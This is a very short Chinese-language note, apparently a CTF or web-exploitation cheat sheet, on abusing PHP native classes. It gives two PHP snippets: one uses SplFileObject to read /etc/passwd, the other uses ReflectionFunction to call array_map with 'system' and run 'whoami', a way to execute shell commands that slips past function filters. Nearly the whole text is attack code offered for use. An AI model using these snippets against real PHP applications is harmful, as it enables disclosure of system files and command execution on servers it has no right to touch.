原生类利用

SplFileObject读文件

$f=new SplFileObject('/etc/passwd');
$re = $f->fread(10000);
echo $re;

Reflection类

ReflectionClass, ReflectionFunction

$r = new ReflectionFunction("array_map");
$r->invokeArgs(['system', ['whoami']]);